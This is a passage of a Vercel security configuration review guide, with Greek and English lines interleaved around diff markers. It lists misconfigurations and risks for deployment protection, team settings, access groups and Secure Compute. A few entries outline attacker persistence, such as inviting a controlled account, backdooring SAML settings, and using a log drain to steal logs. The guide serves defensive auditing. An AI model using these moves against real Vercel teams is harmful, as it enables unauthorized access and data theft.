- **Λάθος ρύθμιση:** Αποτυχία παρακολούθησης και ελέγχου τρίτων ενσωματώσεων.
- **Κίνδυνος:** Καθυστερημένη ανίχνευση συμβιβασμένων ενσωματώσεων, αυξάνοντας τον πιθανό αντίκτυπο των παραβιάσεων ασφάλειας.
- **Insecure Third-Party Integrations**
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
- **Over-Permissioned Integrations**
- **Misconfiguration:** Granting excessive permissions to integrated services.
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
- **Lack of Integration Monitoring**
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
---
### Deployment Protection
**Σκοπός:** Ασφαλής ανάπτυξη μέσω διαφόρων μηχανισμών προστασίας, ελέγχοντας ποιος μπορεί να έχει πρόσβαση και να αναπτύξει στα περιβάλλοντά σας.
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
#### Security Configurations:
**Επαλήθευση Vercel**
**Vercel Authentication**
- **Λάθος ρύθμιση:** Απενεργοποίηση της επαλήθευσης ή μη επιβολή ελέγχων μελών ομάδας.
- **Κίνδυνος:** Μη εξουσιοδοτημένοι χρήστες μπορούν να έχουν πρόσβαση σε αναπτύξεις, οδηγώντας σε παραβιάσεις δεδομένων ή κακή χρήση εφαρμογών.
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
**Παράκαμψη Προστασίας για Αυτοματοποίηση**
**Protection Bypass for Automation**
- **Λάθος ρύθμιση:** Δημόσια έκθεση του μυστικού παράκαμψης ή χρήση αδύναμων μυστικών.
- **Κίνδυνος:** Οι επιτιθέμενοι μπορούν να παρακάμψουν τις προστασίες ανάπτυξης, αποκτώντας πρόσβαση και χειραγωγώντας προστατευμένες αναπτύξεις.
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
**Μοιραζόμενοι Σύνδεσμοι**
**Shareable Links**
- **Λάθος ρύθμιση:** Μοιραζόμενοι συνδέσμους α indiscriminately ή αποτυχία ανάκλησης παλαιών συνδέσμων.
- **Κίνδυνος:** Μη εξουσιοδοτημένη πρόσβαση σε προστατευμένες αναπτύξεις, παρακάμπτοντας την επαλήθευση και τους περιορισμούς IP.
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
**OPTIONS Allowlist**
- **Λάθος ρύθμιση:** Επιτρέποντας υπερβολικά ευρείς δρόμους ή ευαίσθητα σημεία.
- **Κίνδυνος:** Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν μη προστατευμένους δρόμους για να εκτελέσουν μη εξουσιοδοτημένες ενέργειες ή να παρακάμψουν ελέγχους ασφαλείας.
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
**Προστασία με Κωδικό Πρόσβασης**
**Password Protection**
- **Λάθος ρύθμιση:** Χρήση αδύναμων κωδικών πρόσβασης ή κοινή χρήση τους με ανασφαλή τρόπο.
- **Κίνδυνος:** Μη εξουσιοδοτημένη πρόσβαση σε αναπτύξεις εάν οι κωδικοί πρόσβασης μαντευτούν ή διαρρεύσουν.
- **Σημείωση:** Διαθέσιμο στο σχέδιο **Pro** ως μέρος της **Προηγμένης Προστασίας Ανάπτυξης** για επιπλέον $150/μήνα.
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
**Εξαιρέσεις Προστασίας Ανάπτυξης**
**Deployment Protection Exceptions**
- **Λάθος ρύθμιση:** Προσθήκη παραγωγικών ή ευαίσθητων τομέων στη λίστα εξαιρέσεων κατά λάθος.
- **Κίνδυνος:** Έκθεση κρίσιμων αναπτύξεων στο κοινό, οδηγώντας σε διαρροές δεδομένων ή μη εξουσιοδοτημένη πρόσβαση.
- **Σημείωση:** Διαθέσιμο στο σχέδιο **Pro** ως μέρος της **Προηγμένης Προστασίας Ανάπτυξης** για επιπλέον $150/μήνα.
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
**Εμπιστευμένες IPs**
**Trusted IPs**
- **Λάθος ρύθμιση:** Λανθασμένος καθορισμός διευθύνσεων IP ή CIDR.
- **Κίνδυνος:** Εγκεκριμένοι χρήστες να αποκλειστούν ή μη εξουσιοδοτημένες IPs να αποκτήσουν πρόσβαση.
- **Σημείωση:** Διαθέσιμο στο σχέδιο **Enterprise**.
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
- **Note:** Available on the **Enterprise** plan.
---
### Functions
**Σκοπός:** Ρύθμιση serverless functions, συμπεριλαμβανομένων ρυθμίσεων χρόνου εκτέλεσης, κατανομής μνήμης και πολιτικών ασφαλείας.
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
#### Security Configurations:
- **Τίποτα**
- **Nothing**
---
### Data Cache
**Σκοπός:** Διαχείριση στρατηγικών και ρυθμίσεων caching για τη βελτιστοποίηση της απόδοσης και τον έλεγχο της αποθήκευσης δεδομένων.
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
#### Security Configurations:
- **Καθαρισμός Cache**
- **Λάθος ρύθμιση:** Επιτρέπει τη διαγραφή όλων των cache.
- **Κίνδυνος:** Μη εξουσιοδοτημένοι χρήστες διαγράφουν την cache οδηγώντας σε πιθανό DoS.
- **Purge Cache**
- **Misconfiguration:** It allows to delete all the cache.
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
---
### Cron Jobs
**Σκοπός:** Προγραμματισμός αυτοματοποιημένων εργασιών και scripts για εκτέλεση σε καθορισμένα διαστήματα.
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
#### Security Configurations:
- **Απενεργοποίηση Cron Job**
- **Λάθος ρύθμιση:** Επιτρέπει την απενεργοποίηση cron jobs που δηλώνονται μέσα στον κώδικα
- **Κίνδυνος:** Πιθανή διακοπή της υπηρεσίας (ανάλογα με το τι προορίζονταν τα cron jobs)
- **Disable Cron Job**
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
---
### Log Drains
**Σκοπός:** Ρύθμιση εξωτερικών υπηρεσιών καταγραφής για την καταγραφή και αποθήκευση των καταγραφών εφαρμογής για παρακολούθηση και έλεγχο.
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
#### Security Configurations:
- Τίποτα (διαχειρίζεται από τις ρυθμίσεις ομάδας)
- Nothing (managed from teams settings)
---
### Security
**Σκοπός:** Κεντρικός κόμβος για διάφορες ρυθμίσεις ασφαλείας που επηρεάζουν την πρόσβαση στο έργο, την προστασία πηγής και άλλα.
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
#### Security Configurations:
**Καταγραφές Κατασκευής και Προστασία Πηγής**
**Build Logs and Source Protection**
- **Λάθος ρύθμιση:** Απενεργοποίηση προστασίας ή έκθεση των διαδρομών `/logs` και `/src` δημόσια.
- **Κίνδυνος:** Μη εξουσιοδοτημένη πρόσβαση σε καταγραφές κατασκευής και πηγαίο κώδικα, οδηγώντας σε διαρροές πληροφοριών και πιθανή εκμετάλλευση ευπαθειών.
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
**Προστασία Fork Git**
**Git Fork Protection**
- **Λάθος ρύθμιση:** Επιτρέποντας μη εξουσιοδοτημένες αιτήσεις pull χωρίς κατάλληλες αναθεωρήσεις.
- **Κίνδυνος:** Κακόβουλος κώδικας μπορεί να συγχωνευθεί στη βάση κώδικα, εισάγοντας ευπάθειες ή πίσω πόρτες.
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
**Ασφαλής Πρόσβαση Backend με OIDC Federation**
**Secure Backend Access with OIDC Federation**
- **Λάθος ρύθμιση:** Λανθασμένη ρύθμιση παραμέτρων OIDC ή χρήση ανασφαλών URL εκδότη.
- **Κίνδυνος:** Μη εξουσιοδοτημένη πρόσβαση σε υπηρεσίες backend μέσω ελαττωματικών ροών επαλήθευσης.
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
**Πολιτική Διατήρησης Ανάπτυξης**
**Deployment Retention Policy**
- **Λάθος ρύθμιση:** Ρύθμιση περιόδων διατήρησης πολύ σύντομες (χάνοντας την ιστορία ανάπτυξης) ή πολύ μεγάλες (μη απαραίτητη διατήρηση δεδομένων).
- **Κίνδυνος:** Αδυναμία εκτέλεσης ανατροπών όταν χρειάζεται ή αυξημένος κίνδυνος έκθεσης δεδομένων από παλιές αναπτύξεις.
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
**Πρόσφατα Διαγραμμένα Ανάπτυξη**
**Recently Deleted Deployments**
- **Λάθος ρύθμιση:** Μη παρακολούθηση διαγραμμένων αναπτύξεων ή εξάρτηση αποκλειστικά από αυτοματοποιημένες διαγραφές.
- **Κίνδυνος:** Απώλεια κρίσιμης ιστορίας ανάπτυξης, εμποδίζοντας τους ελέγχους και τις ανατροπές.
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
---
### Advanced
**Σκοπός:** Πρόσβαση σε πρόσθετες ρυθμίσεις έργου για τη λεπτομερή ρύθμιση παραμέτρων και την ενίσχυση της ασφάλειας.
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
#### Security Configurations:
**Κατάλογος Λίστας**
**Directory Listing**
- **Λάθος ρύθμιση:** Ενεργοποίηση της λίστας καταλόγου επιτρέπει στους χρήστες να βλέπουν το περιεχόμενο του καταλόγου χωρίς αρχείο ευρετηρίου.
- **Κίνδυνος:** Έκθεση ευαίσθητων αρχείων, δομής εφαρμογής και πιθανών σημείων εισόδου για επιθέσεις.
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
---
@@ -251,15 +251,15 @@
#### Security Configurations:
**Ενεργοποίηση Λειτουργίας Πρόκλησης Επίθεσης**
**Enable Attack Challenge Mode**
- **Λάθος ρύθμιση:** Η ενεργοποίηση αυτού βελτιώνει τις άμυνες της διαδικτυακής εφαρμογής κατά του DoS αλλά εις βάρος της χρηστικότητας
- **Κίνδυνος:** Πιθανά προβλήματα εμπειρίας χρήστη.
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
- **Risk:** Potential user experience problems.
### Custom Rules & IP Blocking
- **Λάθος ρύθμιση:** Επιτρέπει την αποδέσμευση/αποκλεισμό κυκλοφορίας
- **Κίνδυνος:** Πιθανό DoS επιτρέποντας κακόβουλη κυκλοφορία ή αποκλείοντας καλή κυκλοφορία
- **Misconfiguration:** Allows to unblock/block traffic
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
---
@@ -267,13 +267,13 @@
### Source
- **Λάθος ρύθμιση:** Επιτρέπει την πρόσβαση για ανάγνωση του πλήρους πηγαίου κώδικα της εφαρμογής
- **Κίνδυνος:** Πιθανή έκθεση ευαίσθητων πληροφοριών
- **Misconfiguration:** Allows access to read the complete source code of the application
- **Risk:** Potential exposure of sensitive information
### Skew Protection
- **Λάθος ρύθμιση:** Αυτή η προστασία διασφαλίζει ότι η εφαρμογή πελάτη και διακομιστή χρησιμοποιούν πάντα την ίδια έκδοση ώστε να μην υπάρχουν αποσυγχρονισμοί όπου ο πελάτης χρησιμοποιεί διαφορετική έκδοση από τον διακομιστή και επομένως δεν καταλαβαίνουν ο ένας τον άλλον.
- **Κίνδυνος:** Απενεργοποίηση αυτού (εάν είναι ενεργοποιημένο) θα μπορούσε να προκαλέσει προβλήματα DoS σε νέες αναπτύξεις στο μέλλον
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
---
@@ -283,12 +283,12 @@
#### Security Configurations:
- **Μεταφορά**
- **Λάθος ρύθμιση:** Επιτρέπει τη μεταφορά όλων των έργων σε άλλη ομάδα
- **Κίνδυνος:** Ένας επιτιθέμενος θα μπορούσε να κλέψει τα έργα
- **Διαγραφή Έργου**
- **Λάθος ρύθμιση:** Επιτρέπει τη διαγραφή της ομάδας με όλα τα έργα&#x20;
- **Κίνδυνος:** Διαγραφή των έργων
- **Transfer**
- **Misconfiguration:** Allows to transfer all the projects to another team
- **Risk:** An attacker could steal the projects
- **Delete Project**
- **Misconfiguration:** Allows to delete the team with all the projects
- **Risk:** Delete the projects
---
@@ -296,9 +296,9 @@
#### Security Configurations:
- **Όριο Κόστους Speed Insights**
- **Λάθος ρύθμιση:** Ένας επιτιθέμενος θα μπορούσε να αυξήσει αυτόν τον αριθμό
- **Κίνδυνος:** Αυξημένα κόστη
- **Speed Insights Cost Limit**
- **Misconfiguration:** An attacker could increase this number
- **Risk:** Increased costs
---
@@ -306,26 +306,26 @@
#### Security Configurations:
- **Προσθήκη μελών**
- **Λάθος ρύθμιση:** Ένας επιτιθέμενος θα μπορούσε να διατηρήσει την επιμονή προσκαλώντας έναν λογαριασμό που ελέγχει
- **Κίνδυνος:** Επιμονή επιτιθέμενου
- **Ρόλοι**
- **Λάθος ρύθμιση:** Χορήγηση υπερβολικών αδειών σε άτομα που δεν τις χρειάζονται αυξάνει τον κίνδυνο της ρύθμισης του Vercel. Ελέγξτε όλους τους πιθανούς ρόλους στο [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Κίνδυνος**: Αυξάνει την έκθεση της Ομάδας Vercel
- **Add members**
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- **Risk:** Attacker persistence
- **Roles**
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Risk**: Increate the exposure of the Vercel Team
---
### Access Groups
Μια **Ομάδα Πρόσβασης** στο Vercel είναι μια συλλογή έργων και μελών ομάδας με προκαθορισμένες αναθέσεις ρόλων, επιτρέποντας κεντρική και απλοποιημένη διαχείριση πρόσβασης σε πολλά έργα.
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
**Πιθανές Λάθος Ρυθμίσεις:**
**Potential Misconfigurations:**
- **Υπερβολική Άδεια Μελών:** Ανάθεση ρόλων με περισσότερες άδειες από όσες είναι απαραίτητες, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή ενέργειες.
- **Λανθασμένες Αναθέσεις Ρόλων:** Λανθασμένη ανάθεση ρόλων που δεν ευθυγραμμίζονται με τις ευθύνες των μελών της ομάδας, προκαλώντας κλιμάκωση προνομίων.
- **Έλλειψη Διαχωρισμού Έργων:** Αποτυχία διαχωρισμού ευαίσθητων έργων, επιτρέποντας ευρύτερη πρόσβαση από ό,τι προοριζόταν.
- **Ανεπαρκής Διαχείριση Ομάδας:** Μη τακτική αναθεώρηση ή ενημέρωση των Ομάδων Πρόσβασης, με αποτέλεσμα παρωχημένες ή ακατάλληλες άδειες πρόσβασης.
- **Ασυνεπείς Ορισμοί Ρόλων:** Χρήση ασυνεπών ή ασαφών ορισμών ρόλων σε διαφορετικές Ομάδες Πρόσβασης, οδηγώντας σε σύγχυση και κενά ασφαλείας.
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
---
@@ -333,9 +333,9 @@
#### Security Configurations:
- **Log Drains σε τρίτους:**
- **Λάθος ρύθμιση:** Ένας επιτιθέμενος θα μπορούσε να ρυθμίσει ένα Log Drain για να κλέψει τα logs
- **Κίνδυνος:** Μερική επιμονή
- **Log Drains to third parties:**
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- **Risk:** Partial persistence
---
@@ -343,95 +343,98 @@
#### Security Configurations:
- **Τομέας Email Ομάδας:** Όταν ρυθμιστεί, αυτή η ρύθμιση προσκαλεί αυτόματα Λογαριασμούς Vercel με διευθύνσεις email που τελειώνουν στον καθορισμένο τομέα (π.χ. `mydomain.com`) να ενταχθούν στην ομάδα σας κατά την εγγραφή και στον πίνακα ελέγχου.
- **Λάθος ρύθμιση:**&#x20;
- Καθορισμός λανθασμένου τομέα email ή λανθασμένα γραμμένου τομέα στη ρύθμιση Τομέα Email Ομάδας.
- Χρήση κοινού τομέα email (π.χ. `gmail.com`, `hotmail.com`) αντί για εταιρικό τομέα.
- **Κίνδυνοι:**
- **Μη εξουσιοδοτημένη Πρόσβαση:** Χρήστες με διευθύνσεις email από μη επιθυμητούς τομείς μπορεί να λάβουν προσκλήσεις να ενταχθούν στην ομάδα σας.
- **Έκθεση Δεδομένων:** Πιθανή έκθεση ευαίσθητων πληροφοριών έργου σε μη εξουσιοδοτημένα άτομα.
- **Προστατευμένα Git Scopes:** Σας επιτρέπει να προσθέσετε έως και 5 Git scopes στην ομάδα σας για να αποτρέψετε άλλες ομάδες Vercel από την ανάπτυξη αποθετηρίων από το προστατευμένο scope. Πολλές ομάδες μπορούν να καθορίσουν το ίδιο scope, επιτρέποντας και στις δύο ομάδες πρόσβαση.
- **Λάθος ρύθμιση:** Μη προσθήκη κρίσιμων Git scopes στη λίστα προστασίας.
- **Κίνδυνοι:**
- **Μη εξουσιοδοτημένες Αναπτύξεις:** Άλλες ομάδες μπορεί να αναπτύξουν αποθετήρια από τα Git scopes της οργάνωσής σας χωρίς εξουσιοδότηση.
- **Έκθεση Πνευματικής Ιδιοκτησίας:** Ιδιοκτησιακός κώδικας θα μπορούσε να αναπτυχθεί και να αποκτηθεί εκτός της ομάδας σας.
- **Πολιτικές Μεταβλητών Περιβάλλοντος:** Επιβάλλει πολιτικές για τη δημιουργία και την επεξεργασία των μεταβλητών περιβάλλοντος της ομάδας. Συγκεκριμένα, μπορείτε να επιβάλετε ότι όλες οι μεταβλητές περιβάλλοντος δημιουργούνται ως **Ευαίσθητες Μεταβλητές Περιβάλλοντος**, οι οποίες μπορούν να αποκωδικοποιηθούν μόνο από το σύστημα ανάπτυξης του Vercel.
- **Λάθος ρύθμιση:** Διατήρηση της επιβολής ευαίσθητων μεταβλητών περιβάλλοντος απενεργοποιημένη.
- **Κίνδυνοι:**
- **Έκθεση Μυστικών:** Οι μεταβλητές περιβάλλοντος μπορεί να προβληθούν ή να επεξεργαστούν από μη εξουσιοδοτημένα μέλη της ομάδας.
- **Διαρροή Δεδομένων:** Ευαίσθητες πληροφορίες όπως κλειδιά API και διαπιστευτήρια θα μπορούσαν να διαρρεύσουν.
- **Καταγραφή Ελέγχου:** Παρέχει μια εξαγωγή της δραστηριότητας της ομάδας για έως και τις τελευταίες 90 ημέρες. Οι καταγραφές ελέγχου βοηθούν στην παρακολούθηση και την παρακολούθηση των ενεργειών που εκτελούνται από τα μέλη της ομάδας.
- **Λάθος ρύθμιση:**\
Χορήγηση πρόσβασης στις καταγραφές ελέγχου σε μη εξουσιοδοτημένα μέλη της ομάδας.
- **Κίνδυνοι:**
- **Παραβιάσεις Ιδιωτικότητας:** Έκθεση ευαίσθητων δραστηριοτήτων και δεδομένων χρηστών.
- **Παρέμβαση στις Καταγραφές:** Κακόβουλοι παράγοντες θα μπορούσαν να τροποποιήσουν ή να διαγράψουν καταγραφές για να καλύψουν τα ίχνη τους.
- **SAML Single Sign-On:** Επιτρέπει την προσαρμογή της επαλήθευσης SAML και της συγχρονισμού καταλόγου για την ομάδα σας, επιτρέποντας την ενσωμάτωση με έναν Παροχέα Ταυτότητας (IdP) για κεντρική επαλήθευση και διαχείριση χρηστών.
- **Λάθος ρύθμιση:** Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει πίσω πόρτα στη ρύθμιση της Ομάδας ρυθμίζοντας παραμέτρους SAML όπως το Entity ID, το SSO URL ή τα αποτυπώματα πιστοποιητικών.
- **Κίνδυνος:** Διατήρηση επιμονής
- **Ορατότητα Διευθύνσεων IP:** Ελέγχει εάν οι διευθύνσεις IP, οι οποίες μπορεί να θεωρούνται προσωπικές πληροφορίες σύμφωνα με ορισμένους νόμους προστασίας δεδομένων, εμφανίζονται σε ερωτήματα παρακολούθησης και Log Drains.
- **Λάθος ρύθμιση:** Αφήνοντας την ορατότητα διευθύνσεων IP ενεργοποιημένη χωρίς αναγκαιότητα.
- **Κίνδυνοι:**
- **Παραβιάσεις Ιδιωτικότητας:** Μη συμμόρφωση με κανονισμούς προστασίας δεδομένων όπως το GDPR.
- **Νομικές Επιπτώσεις:** Πιθανές ποινές και πρόστιμα για κακή διαχείριση προσωπικών δεδομένων.
- **Αποκλεισμός IP:** Επιτρέπει τη ρύθμιση διευθύνσεων IP και CIDR που το Vercel θα πρέπει να αποκλείσει αιτήματα από. Τα αποκλεισμένα αιτήματα δεν συμβάλλουν στη χρέωσή σας.
- **Λάθος ρύθμιση:** Θα μπορούσε να καταχραστεί από έναν επιτιθέμενο για να επιτρέψει κακόβουλη κυκλοφορία ή να αποκλείσει νόμιμη κυκλοφορία.
- **Κίνδυνοι:**
- **Άρνηση Υπηρεσίας σε Νόμιμους Χρήστες:** Αποκλεισμός πρόσβασης για έγκυρους χρήστες ή συνεργάτες.
- **Λειτουργικές Διαταραχές:** Απώλεια διαθεσιμότητας υπηρεσίας για ορισμένες περιοχές ή πελάτες.
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- **Misconfiguration:**
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- **Risks:**
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
- **Risks:**
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- **Risks:**
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- **Misconfiguration:**\
Granting access to audit logs to unauthorized team members.
- **Risks:**
- **Privacy Violations:** Exposure of sensitive user activities and data.
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- **Risk:** Maintain persistence
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- **Risks:**
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- **Risks:**
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
---
### Secure Compute
**Vercel Secure Compute** επιτρέπει ασφαλείς, ιδιωτικές συνδέσεις μεταξύ Vercel Functions και backend περιβαλλόντων (π.χ. βάσεις δεδομένων) δημιουργώντας απομονωμένα δίκτυα με αφιερωμένες διευθύνσεις IP. Αυτό εξαλείφει την ανάγκη δημόσιας έκθεσης υπηρεσιών backend, ενισχύοντας την ασφάλεια, τη συμμόρφωση και την ιδιωτικότητα.
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
#### **Πιθανές Λάθος Ρυθμίσεις και Κίνδυνοι**
#### **Potential Misconfigurations and Risks**
1. **Λανθασμένη Επιλογή Περιοχής AWS**
- **Λάθος ρύθμιση:** Επιλογή περιοχής AWS για το δίκτυο Secure Compute που δεν ταιριάζει με την περιοχή των υπηρεσιών backend.
- **Κίνδυνος:** Αυξημένη καθυστέρηση, πιθανά ζητήματα συμμόρφωσης διαμονής δεδομένων και υποβάθμιση της απόδοσης.
2. **Επικαλυπτόμενα CIDR Blocks**
- **Λάθος ρύθμιση:** Επιλογή CIDR blocks που επικαλύπτονται με υπάρχουσες VPCs ή άλλα δίκτυα.
- **Κίνδυνος:** Συγκρούσεις δικτύου που οδηγούν σε αποτυχημένες συνδέσεις, μη εξουσιοδοτημένη πρόσβαση ή διαρροή δεδομένων μεταξύ δικτύων.
3. **Λανθασμένη Ρύθμιση VPC Peering**
- **Λάθος ρύθμιση:** Λανθασμένη ρύθμιση VPC peering (π.χ. λανθασμένα VPC IDs, ελλιπείς ενημερώσεις πίνακα δρομολόγησης).
- **Κίνδυνος:** Μη εξουσιοδοτημένη πρόσβαση στην υποδομή backend, αποτυχημένες ασφαλείς συνδέσεις και πιθανές παραβιάσεις δεδομένων.
4. **Υπερβολικές Αναθέσεις Έργων**
- **Λάθος ρύθμιση:** Ανάθεση πολλών έργων σε ένα μόνο δίκτυο Secure Compute χωρίς κατάλληλη απομόνωση.
- **Κίνδυνος:** Η κοινή έκθεση IP αυξάνει την επιφάνεια επίθεσης, επιτρέποντας πιθανώς σε συμβιβασμένα έργα να επηρεάσουν άλλα.
5. **Ανεπαρκής Διαχείριση Διευθύνσεων IP**
- **Λάθος ρύθμιση:** Αποτυχία διαχείρισης ή περιστροφής αφιερωμένων διευθύνσεων IP κατάλληλα.
- **Κίνδυνος:** IP spoofing, ευπάθειες παρακολούθησης και πιθανή μαύρη λίστα εάν οι IPs σχετίζονται με κακόβουλες δραστηριότητες.
6. **Συμπερίληψη Build Containers Χωρίς Ανάγκη**
- **Λάθος ρύθμιση:** Προσθήκη build containers στο δίκτυο Secure Compute όταν η πρόσβαση backend δεν απαιτείται κατά τη διάρκεια των κατασκευών.
- **Κίνδυνος:** Διευρυμένη επιφάνεια επίθεσης, αυξημένες καθυστερήσεις προμήθειας και περιττή κατανάλωση πόρων δικτύου.
7. **Αποτυχία Ασφαλούς Διαχείρισης Μυστικών Παράκαμψης**
- **Λάθος ρύθμιση:** Έκθεση ή κακή διαχείριση μυστικών που χρησιμοποιούνται για την παράκαμψη των προστασιών ανάπτυξης.
- **Κίνδυνος:** Μη εξουσιοδοτημένη πρόσβαση σε προστατευμένες αναπτύξεις, επιτρέποντας στους επιτιθέμενους να χειραγωγήσουν ή να αναπτύξουν κακόβουλο κώδικα.
8. **Αγνόηση Ρυθμίσεων Αποτυχίας Περιοχής**
- **Λάθος ρύθμιση:** Μη ρύθμιση παθητικών περιοχών αποτυχίας ή λανθασμένη ρύθμιση ρυθμίσεων αποτυχίας.
- **Κίνδυνος:** Χρόνος διακοπής υπηρεσίας κατά τη διάρκεια εκτάκτων αναγκών στην κύρια περιοχή, οδηγώντας σε μειωμένη διαθεσιμότητα και πιθανή ασυνέπεια δεδομένων.
9. **Υπερβολή Σύνδεσης VPC Peering**
- **Λάθος ρύθμιση:** Προσπάθεια εγκαθίδρυσης περισσότερων συνδέσεων VPC peering από τον επιτρεπόμενο αριθμό (π.χ. υπερβαίνοντας τις 50 συνδέσεις).
- **Κίνδυνος:** Αδυναμία ασφαλούς σύνδεσης απαραίτητων υπηρεσιών backend, προκαλώντας αποτυχίες ανάπτυξης και λειτουργικές διαταραχές.
10. **Ανασφαλείς Ρυθμίσεις Δικτύου**
- **Λάθος ρύθμιση:** Αδύναμοι κανόνες τείχους προστασίας, έλλειψη κρυπτογράφησης ή λανθασμένος διαχωρισμός δικτύου εντός του δικτύου Secure Compute.
